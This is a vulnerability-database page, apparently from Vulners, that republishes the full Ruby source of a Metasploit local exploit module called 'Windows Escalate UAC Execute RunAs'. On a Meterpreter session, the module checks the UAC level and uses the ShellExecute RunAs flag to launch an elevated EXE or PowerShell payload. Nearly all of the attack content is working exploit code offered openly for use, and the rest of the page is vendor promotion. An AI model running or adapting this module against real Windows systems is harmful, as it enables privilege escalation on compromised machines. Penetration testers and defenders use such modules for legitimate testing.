Lucene search
K

Windows Escalate UAC Execute RunAs

🗓️ 12 Sep 2024 00:00:00Reported by Rob Fuller, b00stfr3ak, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 305 Views

Windows Escalate UAC Execute RunAs module attempts to elevate execution level using the ShellExecute RunAs flag to bypass low UAC settings

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Post::Windows::Priv  
include Post::Windows::Runas  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Windows Escalate UAC Execute RunAs',  
'Description' => %q(  
This module will attempt to elevate execution level using  
the ShellExecute undocumented RunAs flag to bypass low  
UAC settings.  
),  
'License' => MSF_LICENSE,  
'Author' => [  
'mubix', # Original technique  
'b00stfr3ak' # Added powershell option  
],  
'Platform' => ['win'],  
'SessionTypes' => ['meterpreter'],  
'Targets' => [['Windows', {}]],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2012-01-03'  
))  
  
register_options([  
OptString.new('FILENAME', [false, 'File name on disk']),  
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),  
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),  
])  
end  
  
def exploit  
if is_uac_enabled?  
print_status 'UAC is Enabled, checking level...'  
case get_uac_level  
when UAC_NO_PROMPT  
print_good 'UAC is not enabled, no prompt for the user'  
else  
print_status "The user will be prompted, wait for them to click 'Ok'"  
end  
else  
print_good 'UAC is not enabled, no prompt for the user'  
end  
  
case datastore['TECHNIQUE']  
when 'EXE'  
shell_execute_exe(datastore['FILENAME'], datastore['PATH'])  
when 'PSH'  
shell_execute_psh  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Sep 2024 00:00Current
7.4High risk
Vulners AI Score7.4
305